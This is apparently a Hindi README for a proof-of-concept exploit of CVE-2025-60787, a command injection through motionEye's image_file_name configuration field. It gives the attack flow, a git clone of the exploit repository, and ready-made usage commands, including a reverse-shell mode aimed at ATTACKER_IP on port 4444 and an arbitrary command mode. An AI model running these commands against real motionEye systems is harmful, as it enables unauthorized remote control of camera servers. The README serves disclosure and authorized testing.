CVE-2025-60787 - motionEye प्रमाणित दूरस्थ कोड निष्पादन

motionEye <= 0.43.1b4 में अप्रमाणित मोशन कॉन्फ़िग पैरामीटर के माध्यम से प्रमाणित दूरस्थ कोड निष्पादन

लेखक: d3vn0mi

भेद्यता अवलोकन

motionEye image_file_name जैसे कॉन्फ़िगरेशन फ़ील्ड में मनमानी स्ट्रिंग्स स्वीकार करता है और उन्हें सीधे Motion कॉन्फ़िगरेशन फ़ाइलों (/etc/motioneye/camera-*.conf) में लिखता है। जब Motion सेवा पुनरारंभ होती है, तो यह इन फ़ील्ड्स को शेल-विस्तार योग्य स्ट्रिंग्स के रूप में व्याख्या करता है, जिससे एक प्रमाणित हमलावर मनमाना OS कमांड इंजेक्ट और निष्पादित कर सकता है।

वेब UI में इन फ़ील्ड्स के लिए क्लाइंट-साइड सत्यापन शामिल है, लेकिन सीधे तैयार किए गए API अनुरोध भेजकर इसे आसानी से बायपास किया जा सकता है।

हमला प्रवाह

1. valid एडमिन क्रेडेंशियल्स के साथ motionEye में प्रमाणित करें
2. कैमरा कॉन्फ़िगरेशन सूची प्राप्त करें
3. दुर्भावनापूर्ण image_file_name वैल्यू के साथ संशोधित कॉन्फ़िगरेशन POST करें
4. Motion स्नैपशॉट लेते समय इंजेक्ट किए गए कमांड को प्रोसेस करता है (capture_mode: interval-snapshots के माध्यम से)

आवश्यकताएँ

• Python 3.6+
• requests लाइब्रेरी
• valid motionEye एडमिन क्रेडेंशियल्स
• लक्ष्य motionEye इंस्टेंस तक नेटवर्क पहुँच

स्थापना

git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt

उपयोग

यह एक्सप्लॉइट दो मोड्स का समर्थन करता है: रिवर्स शेल और कमांड निष्पादन।

रिवर्स शेल

अपनी मशीन पर एक लिसनर शुरू करें, फिर चलाएं:

python3 exploit.py revshell \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -i ATTACKER_IP \
    --port 4444

कमांड निष्पादन

python3 exploit.py command \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -e "id; whoami"

विकल्प

संदर्भ

• GitHub Advisory - GHSA-j945-qm58-4gjx
• Exploit-DB #52481
• Rapid7 Metasploit Module
• motionEye Project

श्रेय

• d3vn0mi - एक्सप्लॉइट विकास और उपकरण
• gunzf0x - मूल CVE खोज और अनुसंधान

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है।